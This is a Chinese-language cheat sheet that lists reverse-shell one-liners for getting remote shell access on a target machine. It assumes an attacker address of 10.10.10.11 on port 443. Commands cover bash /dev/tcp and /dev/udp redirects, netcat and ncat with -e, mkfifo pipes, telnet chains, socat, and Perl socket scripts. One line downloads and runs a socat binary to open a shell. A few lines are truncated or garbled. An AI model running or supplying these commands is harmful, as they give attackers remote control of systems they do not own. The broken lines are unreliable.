网络安全反弹shell

假设本机地址10.10.10.11,监听端口443

1Bash环境下反弹TCP协议shell

首先在本地监听TCP协议443端口

nc -lvp 443

然后在靶机上执行如下命令:

bash -i >& /dev/tcp/10.10.10.11/443 0>&1

/bin/bash -i > /dev/tcp/10.10.10.11/443 0<& 2>&1

exec 5<>/dev/tcp/10.10.10.11/443;cat <&5 | while read line; do $line 2>&5 >&5; done

exec /bin/sh 0</dev/tcp/10.10.10.11/443 1>&0 2>&0

0<&196;exec 196<>/dev/tcp/10.10.10.11/443; sh <&196 >&196 2>&196

2Bash环境下反弹UDP协议shell:

首先在本地监听UDP协议443端口

nc -u -lvp 443

然后在靶机上执行如下命令:

sh -i >& /dev/udp/10.10.10.11/443 0>&1

3、使用Netcat反弹shell

首先在本地监听TCP协议443端口

nc -lvp 443

然后在靶机上执行如下命令:

nc -e /bin/sh 10.10.10.11 443

nc -e /bin/bash 10.10.10.11 443

nc -c bash 10.10.10.11 443

mknod backpipe p && nc 10.10.10.11 443 0<backpipe | /bin/bash 1>backpipe

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.11 443 >/tmp/f

rm -f /tmp/p; mknod /tmp/p p && nc 10.10.10.11 443 0/tmp/p 2>&1

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 10.10.10.11 443 > f

rm -f x; mknod x p && nc

4、使用Ncat反弹shell

首先在本地监听TCP协议443端口

nc -lvp 443

然后在靶机上执行如下命令:

ncat 10.10.10.11 443 -e /bin/bash

ncat --udp 10.10.10.11 443 -e /bin/bash

5、利用Telnet反弹shell

首先在本地监听TCP协议443端口

nc -lvp 443

然后在靶机上执行如下命令:

rm -f /tmp/p; mknod /tmp/p p && telnet 10.10.10.11 443 0/tmp/p 2>&1

telnet 10.10.10.11 443 | /bin/bash | telnet 10.10.10.11 444

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 10.10.10.11 443 > f

rm -f x; mknod x p && telnet 10.10.10.11 443 0<x | /bin/bash 1>x

6、使用Socat反弹shell

首先在本地监听TCP协议443端口

socat file:`tty`,raw,echo=0 TCP-L:443

然后在靶机上执行如下命令:

/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.11:443

socat tcp-connect:10.10.10.11:443 exec:"bash -li",pty,stderr,setsid,sigint,sane

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.11:443

7、利用Perl脚本反弹

首先在本地监听TCP协议443端口

nc -lvp 443

然后在靶机上执行如下命令:

perl -e 'use Socket;$i="10.10.10.11";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.11:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

win平台下执行:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.11:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

猜你喜欢

转载自www.cnblogs.com/Inti/p/13196651.html